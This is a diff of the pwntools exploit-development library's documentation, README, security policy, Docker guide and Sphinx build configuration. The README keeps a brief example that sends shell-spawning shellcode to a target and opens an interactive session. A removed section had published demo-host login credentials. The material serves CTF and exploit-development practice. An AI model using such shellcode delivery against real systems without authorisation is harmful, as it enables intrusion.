-- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
-- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
-- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
+- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
+- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
+- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
+- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
+- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
+- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
 
 ## pwntools Specifics
 
 In general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
 
-After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
+After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
 
 Finally, it is probably a good idea to run the test suite locally before doing
 the pull-request to make sure everything works, however this is not a
-requirement.
+requirement. See the [TESTING](TESTING.md) documentation on how to do that.
 
-Once you do the pull-request Travis CI will run the test-suite on it. Once it
+Once you are ready to do a pull-request, you should figure out if your changes
+constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
+stable or beta, you should do the pull-request against the branch in question,
+and otherwise your pull-request should be against the dev branch.
+
+Once you do the pull-request Github Actions will run the test-suite on it. Once it
 passes one of the core developers will look at your pull request, possibly
-comment on it and then hopefully merge it into master.
+comment on it and then hopefully merge it into the branch in question.
+
+## Python Type Hints
+
+Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
+[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
+experience without running the code.
+
+New code should include type hints where applicable and shouldn't add new type warnings.
+You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
+
+Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
+introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
+
+To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
+
+```shell
+$ pip install -U . --group dev
+$ mypy | mypy-baseline filter
+```
+
+If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
+
+```shell
+$ mypy | mypy-baseline sync --sort-baseline
+```
 
 ## Automated Testing
 

DOCKER.md

@@ -0,0 +1,76 @@
+# Using Pwntools with Docker
+
+Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
+
+[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
+
+## Quick Start
+
+First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
+
+Next, download and run the Pwntools stable docker image.
+
+```sh
+$ docker run -it pwntools/pwntools:stable
+```
+
+## Recommended Settings
+
+In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
+
+```sh
+$ docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    pwntools/pwntools:stable
+```
+
+## Sharing a Folder
+
+It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image.  This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).  
+
+With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
+
+```sh
+$ mkdir $HOME/exploits
+
+$ vim $HOME/exploits/my_exploit.py
+
+$ docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    --mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
+    pwntools/pwntools:stable
+    
+$ python3 exploits/my_exploit.py
+```
+
+### Windows User Bind Mounts
+
+If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`.  The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
+
+```sh
+C:\Users\user> mkdir Desktop\exploits
+
+C:\Users\user> code Desktop\exploits\my_exploit.py
+
+C:\Users\user> docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    --mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
+    pwntools/pwntools:stable
+    
+$ python3 exploits/my_exploit.py
+
+```
+
+
+
+
+

LICENSE-pwntools.txt

@@ -13,7 +13,7 @@ directories:
 - pwnlib/data/
 
 
-Copyright (c) 2015 Gallopsled and Zach Riggle
+Copyright (c) 2015 Gallopsled et al.
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

MANIFEST.in

@@ -1 +1,9 @@
-include *.txt
+graft build
+graft examples
+graft extra
+graft travis
+include *.md *.txt *.sh *.yml MANIFEST.in
+recursive-include docs   *.rst *.png Makefile *.py *.txt
+recursive-include pwnlib *.py *.asm *.rst *.md *.txt *.sh __doc__ *.mako
+recursive-include pwn    *.py *.asm *.rst *.md *.txt *.sh
+global-exclude *.pyc

README.md

@@ -1,16 +1,16 @@
 # pwntools - CTF toolkit
-![pwntools logo](https://github.com/Gallopsled/pwntools/blob/master/docs/source/logo.png?raw=true)
+![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
-[![Docs latest](https://readthedocs.org/projects/pwntools/badge/?version=latest)](https://pwntools.readthedocs.org/)
-[![Docs 2.2.0](https://readthedocs.org/projects/pwntools/badge/?version=2.2.0)](https://pwntools.readthedocs.org/en/2.2.0)
-[![PyPI](https://img.shields.io/pypi/v/pwntools.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
-[![Gittip](https://img.shields.io/gittip/gallopsled.svg?style=flat)](https://www.gittip.com/gallopsled/)
-[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg?branch=master)](https://travis-ci.org/Gallopsled/pwntools)
-[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/master.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=master)
-[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
+[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
+[![GitHub Workflow Status (dev)](https://img.shields.io/github/actions/workflow/status/Gallopsled/pwntools/ci.yml?branch=dev&logo=GitHub)](https://github.com/Gallopsled/pwntools/actions/workflows/ci.yml?query=branch%3Adev)
+[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
+[![Packaging status](https://img.shields.io/repology/repositories/python:pwntools)](https://repology.org/project/python:pwntools/versions)
+[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
+[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
 
-pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
+Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
 
 ```python
 from pwn import *
@@ -22,40 +22,34 @@ r.send(asm(shellcraft.sh()))
 r.interactive()
 ```
 
-# Try It Now!
-
-You can now do a live demo of Pwntools, [right in your browser](http://demo.pwntools.com).  Alternately, you can SSH to the same host, and log in as user `zerocool` with [this private key][key] (password `i_promise_not_to_be_evil`).
-
-It will drop you into a clean, Docker-ized container.  There is nothing of value on the VPS, so please don't be evil.
-
-[key]: https://gist.githubusercontent.com/zachriggle/efa2e0080ae6de2e8344/raw/4b503e9db54f009d97477d03d4ba5678471f8ff0/id_rsa
-
 # Documentation
-Our documentation is available at [pwntools.readthedocs.org](https://pwntools.readthedocs.org/)
+
+Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
+
+A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
 
 To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
 
 # Installation
 
-pwntools is best supported on 64-bit Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python 2.7 is required.
+Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
 
-Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
+Pwntools supports Python 3.10+ since version 5.0.0.  Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
-apt-get update
-apt-get install python2.7 python-pip python-dev git libssl-dev
-pip install --upgrade git+https://github.com/Gallopsled/pwntools.git
+sudo apt-get update
+sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+python3 -m pip install --upgrade pip
+python3 -m pip install --upgrade pwntools
 ```
 
-However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://pwntools.readthedocs.org/en/latest/install.html).
+
+However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
 
 
 # Contribution
 
 See [CONTRIBUTING.md](CONTRIBUTING.md)
 
-# Contact
-If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to ping us
-at [`#pwntools` on Freenode](irc://irc.freenode.net/pwntools) and ask away.
-Click [here](https://kiwiirc.com/client/irc.freenode.net/pwntools) to connect.
-There is also a [mailing list](https://groups.google.com/forum/#!forum/pwntools-users) for higher latency discussion.
+# Contact and Community
+If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB

SECURITY.md

@@ -0,0 +1,32 @@
+# Security Policy
+
+## Supported Versions
+
+| Version       | Supported          |
+| ------------- | ------------------ |
+| latest dev    | :white_check_mark: |
+| latest beta   | :white_check_mark: |
+| latest stable | :white_check_mark: |
+| anything else | :x: |
+
+## Reporting a Vulnerability
+
+The aim of pwntools is exploiting software vulnerabilities, which is an unusual position, but it nevertheless can have its own security issues.
+Especially that an attacker (=re-victim) is usually not prepared to be attacked back (by the re-attacker).
+
+The first question to ask yourself is: is this an actual vulnerability?
+- can it be triggered by a re-attacker (malicious honeypot pretending to be a vulnerable service)?
+- does it impact the attacker (=re-victim)?
+- is it serious?
+  * *availability: medium* means *at least* exhausting RAM or disk space of the attacker (=re-victim)
+  * *confidentiality: medium* means *at least* reading the filesystem of the attacker (=re-victim)
+  * *integrity: medium* means *at least* performing uncontrolled actions or data corruption on behalf of the attacker (=re-victim)
+  * if crucial for some sophisticated exploit chain, it is always serious
+  * `safe_eval` bypasses **are** serious.
+  * an example of what was **kind of** serious: [#1732](https://github.com/Gallopsled/pwntools/pull/1732)
+- can it be fixed without compromising on Pwntools' usability?
+
+If at least one of the answers is no, then this is NOT a vulnerability, so just file a bug report or feature request, without the weird confidential disclosure dance.
+
+Just e-mail the maintainers.  Arusekk is the one that is currently the most excited to fix vulnerabilities.
+Or create a CTF task!  Prove a point the good old hacker way!

TESTING.md

@@ -4,18 +4,28 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
 
 ## Test Suite
 
-
-To run the test suite, it is beste to use Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
+To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
 
 ```sh
-bash .travis_install.sh
-bash .travis_ssh_setup.sh
-pip install -e .
-pip install -r docs/requirements.txt
-cd docs
-PWNLIB_NOTERM=1 make clean doctest
+bash travis/install.sh
+bash travis/ssh_setup.sh
+pip install --upgrade --editable .
+pip install --upgrade -r docs/requirements.txt
+PWNLIB_NOTERM=1 make -C docs doctest
 ```
 
+You can run doctests for a single file for faster iteration:
+
+```sh
+PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
+```
+
+## Testing in Docker
+
+A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble.  It is very similar to the online Github Actions CI testing environment.
+
+See `travis/docker/README.md` for more information.
+
 ## New Tests
 
 To add a new test to an existing module, just add an inline doctest.  If the test needs access to an external module, add the import statement to the `testsetup` block in the corresponding file in `docs/source/<module>.rst`.

docs/Makefile

@@ -6,7 +6,6 @@ SPHINXOPTS    =
 SPHINXBUILD   = sphinx-build
 PAPER         =
 BUILDDIR      = build
-DASHBUILD     = ./dashbuild.py
 TAR           = tar
 
 # Internal variables.
@@ -45,7 +44,7 @@ help:
 clean:
 	-rm -rf $(BUILDDIR)/*
 	-rm -rf /tmp/user/pwn*
-	-rm -rf $(HOME)/.pwntools-cache
+	-rm -rf $(HOME)/.cache/.pwntools-cache
 	-rm -rf /tmp/pwn* 2>/dev/null || true
 	-rm -rf build
 
@@ -145,8 +144,8 @@ gettext:
 	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
 
 dash:
-	$(DASHBUILD) source $(BUILDDIR)/dash
-	$(TAR) --exclude='.DS_Store' -cvzf $(BUILDDIR)/dash/pwntools.tgz -C $(BUILDDIR)/dash pwntools.docset
+	$(SPHINXBUILD) -b html -d $(BUILDDIR)/doctrees -t dash source $(BUILDDIR)/html
+	doc2dash $(BUILDDIR)/html -d $(BUILDDIR)/dash -n pwntools -f -I index.html
 	@echo "Build finished. The Dash docset is in $(BUILDDIR)/dash."
 
 changes:

docs/dashbuild.py

@@ -1,99 +0,0 @@
-#!/usr/bin/env python
-
-# -*- coding: utf-8 -*-
-
-#
-# Helper to build Dash docset from sphinx source files.
-#
-# Dash docsets can be read by various applications:
-#
-# Dash         OS X, iOS         https://kapeli.com
-# Zeal         Linux, Windows    https://zealdocs.org
-# Velocity     Windows           http://velocity.silverlakesoftware.com
-# LovelyDocs   Android           http://lovelydocs.io
-# dasht        POSIX             https://github.com/sunaku/dasht
-# Helm Dash    emacs             https://github.com/areina/helm-dash
-#
-
-import argparse
-import doc2dash.__main__
-import os, os.path
-import sphinx
-import sqlite3
-import sys
-
-sys.path.append(os.path.abspath(os.path.join('..', 'pwnlib')))
-import version
-
-def main(args):
-	"""Generate a Dash docset from Sphinx source files."""
-
-	srcdir = args.srcdir
-	dstdir = args.dstdir
-	name = args.name
-
-	if not os.path.exists(dstdir):
-		os.makedirs(dstdir)
-
-	# Generate HTML without indices.
-	sphinx.build_main([ "sphinx-build", "-b", "html", "-d", os.path.join(dstdir, "doctrees"), \
-		"-t", "dash", srcdir, os.path.join(dstdir, "html") ])
-
-	# Convert to docset.
-	try:
-		doc2dash.__main__.main.main( \
-			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
-					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit,e:
-		pass
-
-	# Insert a link to the online version.
-	online = args.online
-	if online is not None and online != "":
-		url = online.replace("@VERSION", args.version)
-		with open(os.path.join(dstdir, name+".docset", "Contents", "Info.plist"), "r+") as f_info:
-			pl = f_info.read()
-			pl = pl.replace("</dict>", \
-				"\t<key>DashDocSetFallbackURL</key>\n\t<string>%s</string>\n</dict>" % url)
-			f_info.seek(0)
-			f_info.write(pl)
-			f_info.truncate()
-
-	# Modify the CSS to hide the menu included in the HTML.
-	with open(os.path.join(dstdir, name+".docset", "Contents", "Resources", "Documents", "_static", "css", "theme.css"), "r+") as f_css:
-		css = f_css.read()
-		css = css.replace( \
-			'@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}',\
-			'@media screen {.wy-body-for-nav{background:#fcfcfc}' )
-		css = css.replace( \
-			'@media screen and (max-width: 480px)', \
-			'@media screen ')
-		f_css.seek(0)
-		f_css.write(css)
-		f_css.truncate()
-
-	# Modify the index
-	db_conn = sqlite3.connect(os.path.join(dstdir, name+".docset", "Contents", "Resources", "docSet.dsidx"))
-	try:
-		db_conn.execute('INSERT INTO "searchIndex" ("name","type","path") VALUES ' \
-			'("1 Contents", "Guide", "index.html"), ' \
-			'("2 About pwntools", "Guide", "about.html"), ' \
-			'("3 Installation", "Guide", "install.html"), ' \
-			'("4 Getting Started", "Guide", "intro.html"), ' \
-			'("5 Globals (pwn)", "Guide", "globals.html"), ' \
-			'("6 Command Line Tools", "Guide", "commandline.html")')
-		db_conn.execute('DELETE FROM "searchIndex" WHERE "type" = "Module" AND ("name" = "pwn" OR "name" = "pwnlib")')
-		db_conn.commit()
-	finally:
-		db_conn.close()
-
-	return 0
-
-parser = argparse.ArgumentParser()
-parser.add_argument("--name", help="docset name", default="pwntools")
-parser.add_argument("--online", help="URL for online docs", default="https://pwntools.readthedocs.org/en/@VERSION/")
-parser.add_argument("--version", help="pwntools version", default=version.__version__)
-parser.add_argument("srcdir", help="Source directory containing .rst files")
-parser.add_argument("dstdir", help="Destination and working directory")
-
-main(parser.parse_args())

docs/requirements.txt

@@ -1,16 +1,19 @@
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram
-isort
-paramiko>=1.15.2
-mako>=1.0.0
-pyelftools>=0.2.3
 capstone
-ropgadget>=5.3
-pyserial>=2.7
-requests>=2.5.1
-pip>=6.0.8
-tox>=1.8.1
-pygments>=2.0
-sphinx_rtd_theme
+coverage[toml]
 doc2dash
-coveralls
+docutils>=0.18
+intervaltree
+isort
+mako>=1.0.0
+paramiko>=1.15.2
+pyelftools>=0.32
+pygments>=2.0
+pypandoc
+pyserial>=2.7
+pysocks
+psutil
+requests>=2.5.1
+ropgadget>=5.3
+sphinx>=8.1.3, <9
+sphinx_rtd_theme
+sphinxcontrib-autoprogram<=0.1.5

docs/source/about.rst

@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).
 
-For the most part, you will also only get the bits you import. You for instance
+For the most part, you will also only get the bits you import. You for instance would
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.
 

docs/source/adb.rst

@@ -1,9 +1,17 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwn import *
+   adb = pwnlib.adb
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
 
 :mod:`pwnlib.adb` --- Android Debug Bridge
 =====================================================
 
-.. automodule:: pwnlib.adb
+.. automodule:: pwnlib.adb.adb
+   :members:
+
+.. automodule:: pwnlib.adb.protocol
    :members:

docs/source/args.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwn import *
+
+:mod:`pwnlib.args` --- Magic Command-Line Arguments
+=====================================================
+
+.. automodule:: pwnlib.args
+   :members:

docs/source/asm.rst

@@ -2,14 +2,24 @@
 
    import tempfile
    import subprocess
-   from pwnlib.context import context
-   from pwnlib.asm import *
-   from pwnlib import shellcraft
-   from pwnlib.tubes.process import process
+   from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
 
 :mod:`pwnlib.asm` --- Assembler functions
 =========================================
 
 .. automodule:: pwnlib.asm
    :members:
+
+Internal Functions
+-----------------------------------------
+
+These are only included so that their tests are run.
+
+You should never need these.
+
+.. autofunction:: pwnlib.asm.dpkg_search_for_binutils
+.. autofunction:: pwnlib.asm.print_binutils_instructions

docs/source/atexception.rst

@@ -1,3 +1,7 @@
+.. testsetup:: *
+
+   from pwnlib import atexception
+
 :mod:`pwnlib.atexception` --- Callbacks on unhandled exception
 ==============================================================
 

docs/source/commandline.rst

@@ -5,54 +5,21 @@
 
 .. testcleanup:: *
 
-    context.defaults.copy = old
+    context.defaults.clear()
+    context.defaults.update(old)
 
 Command Line Tools
 ========================
 
 pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
 
+If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.
+
 .. toctree::
 
-.. autoprogram:: pwnlib.commandline.asm:parser
-   :prog: asm
+.. autoprogram:: pwnlib.commandline.main:parser
+   :prog: pwn
 
-.. autoprogram:: pwnlib.commandline.checksec:parser
-   :prog: checksec
-
-.. autoprogram:: pwnlib.commandline.constgrep:p
-   :prog: constgrep
-
-.. autoprogram:: pwnlib.commandline.cyclic:parser
-   :prog: cyclic
-
-.. autoprogram:: pwnlib.commandline.disasm:parser
-   :prog: disasm
-
-.. autoprogram:: pwnlib.commandline.elfdiff:p
-   :prog: elfdiff
-
-.. autoprogram:: pwnlib.commandline.elfpatch:p
-   :prog: elfpatch
-
-.. autoprogram:: pwnlib.commandline.errno:parser
-   :prog: errno
-
-.. autoprogram:: pwnlib.commandline.hex:parser
-   :prog: hex
-
-.. autoprogram:: pwnlib.commandline.phd:parser
-   :prog: phd
-
-.. autoprogram:: pwnlib.commandline.pwnstrip:p
-   :prog: pwnstrip
-
-.. autoprogram:: pwnlib.commandline.scramble:parser
-   :prog: scramble
-
-.. autoprogram:: pwnlib.commandline.shellcraft:p
-   :prog: shellcraft
-
-.. autoprogram:: pwnlib.commandline.unhex:parser
-   :prog: unhex
+.. only:: doctest
 
+   .. automodule:: pwnlib.commandline.errno

docs/source/conf.py

@@ -1,5 +1,3 @@
-# -*- coding: utf-8 -*-
-#
 # pwntools documentation build configuration file, created by
 # sphinx-quickstart on Wed May 28 15:00:52 2014.
 #
@@ -12,8 +10,11 @@
 # serve to show the default.
 
 import os
+import doctest
+import signal
 import subprocess
 import sys
+from datetime import datetime, timezone
 
 build_dash = tags.has('dash')
 
@@ -22,9 +23,8 @@ build_dash = tags.has('dash')
 # documentation root, use os.path.abspath to make it absolute, like shown here.
 sys.path.insert(0, os.path.abspath('../..'))
 
-import pwnlib
-
-# -- General configuration -----------------------------------------------------
+import pwnlib.update
+pwnlib.update.disabled = True
 
 # If your documentation needs a minimal Sphinx version, state it here.
 #needs_sphinx = '1.0'
@@ -40,29 +40,71 @@ extensions = [
     'sphinx.ext.coverage',
     'sphinx.ext.todo',
     'sphinx.ext.intersphinx',
+    'sphinx.ext.napoleon',
     'sphinxcontrib.autoprogram',
-    'sphinxcontrib.napoleon'
 ]
 
+# Disable "info" logging directly to stdout by Sphinx
+import logging
+
+class SphinxPwnlibFilter(logging.Filter):
+    def filter(self, record):
+        if record.name.startswith('pwn'):
+            return False
+        if record.name.startswith('paramiko'):
+            return False
+        return True
+
+log_filter = SphinxPwnlibFilter()
+
+for i, handler in enumerate(logging.root.handlers):
+    print("Filtering Sphinx handler", handler)
+    handler.addFilter(log_filter)
+
+# Napoleon settings
+napoleon_use_ivar = True
+napoleon_use_rtype = False
+
 doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import pwnlib
+import pwnlib.update
+import pwnlib.util.fiddling
+import logging
+pwnlib.update.disabled = True
 pwnlib.context.context.reset_local()
-pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
+pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
 pwnlib.context.ContextType.defaults['randomize'] = False
+# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']
+pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
 pwnlib.log.install_default_handler()
 pwnlib.log.rootlogger.setLevel(1)
+
+# Sphinx modifies sys.stdout, and context.log_terminal has
+# a reference to the original instance.  We need to update
+# it for logging to be captured.
+class stdout:
+    def __getattr__(self, name):
+        return getattr(sys.stdout, name)
+    def __setattr__(self, name, value):
+        return setattr(sys.stdout, name, value)
+pwnlib.context.ContextType.defaults['log_console'] = stdout()
+
+github_actions = os.environ.get('USER') == 'runner'
+travis_ci = os.environ.get('USER') == 'travis'
+local_doctest = os.environ.get('USER') == 'pwntools'
+skip_android = True
 '''
 
-autodoc_member_order = 'alphabetical'
+autoclass_content = 'both'
+autodoc_member_order = 'groupwise' # 'alphabetical'
 
 # Add any paths that contain templates here, relative to this directory.
 templates_path = ['_templates']
 
-doctest_test_doctest_blocks = True
+doctest_test_doctest_blocks = 'default'
 
 # The suffix of source filenames.
 source_suffix = '.rst'
@@ -75,7 +117,7 @@ master_doc = 'index'
 
 # General information about the project.
 project = u'pwntools'
-copyright = u'2015, Zach Riggle'
+copyright = u'2016-2026, Gallopsled et al.'
 
 # The version info for the project you're documenting, acts as replacement for
 # |version| and |release|, also used in various other places throughout the
@@ -124,7 +166,7 @@ pygments_style = 'sphinx'
 
 # The theme to use for HTML and HTML Help pages.  See the documentation for
 # a list of builtin themes.
-html_theme = 'default'
+html_theme = 'sphinx_rtd_theme'
 
 # Theme options are theme-specific and customize the look and feel of a theme
 # further.  For a list of options available for each theme, see the
@@ -217,11 +259,11 @@ latex_elements = {
 # (source start file, target name, title, author, documentclass [howto/manual]).
 latex_documents = [
   ('index', 'pwntools.tex', u'pwntools Documentation',
-   u'2015, Zach Riggle', 'manual'),
+   u'2016-2026, Gallopsled et al.', 'manual'),
 ]
 
-intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
-                       'paramiko': ('https://paramiko-docs.readthedocs.org/en/1.15/', None)}
+intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
+                       'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
 
 # The name of an image file (relative to this directory) to place at the top of
 # the title page.
@@ -250,7 +292,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
 # (source start file, name, description, authors, manual section).
 man_pages = [
     ('index', 'pwntools', u'pwntools Documentation',
-     [u'2015, Zach Riggle'], 1)
+     [u'2016-2026, Gallopsled et al.'], 1)
 ]
 
 # If true, show URL addresses after external links.
@@ -280,13 +322,13 @@ texinfo_documents = [
 branch = release
 
 try:
-    git_branch = subprocess.check_output('git describe --tags', shell = True)
+    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
 except subprocess.CalledProcessError:
     git_branch = '-'
 
 try:
     if '-' in git_branch:
-        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
+        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
 except subprocess.CalledProcessError:
     pass
 
@@ -303,7 +345,7 @@ def linkcode_resolve(domain, info):
     val = mod
     for k in info['fullname'].split('.'):
         val = getattr(val, k, None)
-        if val == None:
+        if val is None:
             break
 
     # Special case for shellcraft
@@ -314,11 +356,14 @@ def linkcode_resolve(domain, info):
     else:
         filename = info['module'].replace('.', '/') + '.py'
 
-        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
+        if isinstance(val, property):
+            val = val.fget
+
+        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
             try:
                 lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-%d' % (first, first + len(lines) - 1)
-            except IOError:
+                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
+            except (IOError, TypeError):
                 pass
 
     return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -332,8 +377,124 @@ if build_dash:
     on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
 
     if not on_rtd:  # only import and set the theme if we're building docs locally
-        import sphinx_rtd_theme
-        html_theme = 'sphinx_rtd_theme'
-        html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
+        import alabaster
+        html_theme = 'alabaster'
+        html_theme_path = [alabaster.get_path()]
+        html_theme_options = { 'nosidebar' : True }
 
-    # otherwise, readthedocs.org uses their theme by default, so no need to specify it
+
+# -- Customization to Sphinx autodoc generation --------------------------------------------
+
+# Test hidden members (e.g. def _foo(...))
+def dont_skip_any_doctests(app, what, name, obj, skip, options):
+    return None
+
+autodoc_default_options = {'special-members': None, 'private-members': None}
+
+# doctest optionflags for platform-specific tests
+# they are skipped on other platforms
+WINDOWS = doctest.register_optionflag('WINDOWS')
+LINUX = doctest.register_optionflag('LINUX')
+POSIX = doctest.register_optionflag('POSIX')
+
+# doctest optionflag for tests that haven't been looked at yet
+TODO = doctest.register_optionflag('TODO')
+
+import sphinx.ext.doctest
+
+class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
+    def run(self, test, compileflags=None, out=None, clear_globs=True):
+        original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
+        def filter_platform(example):
+            optionflags = original_optionflags
+            if example.options:
+                for (optionflag, val) in example.options.items():
+                    if val:
+                        optionflags |= optionflag
+                    else:
+                        optionflags &= ~optionflag
+
+            if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
+                return False
+            if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
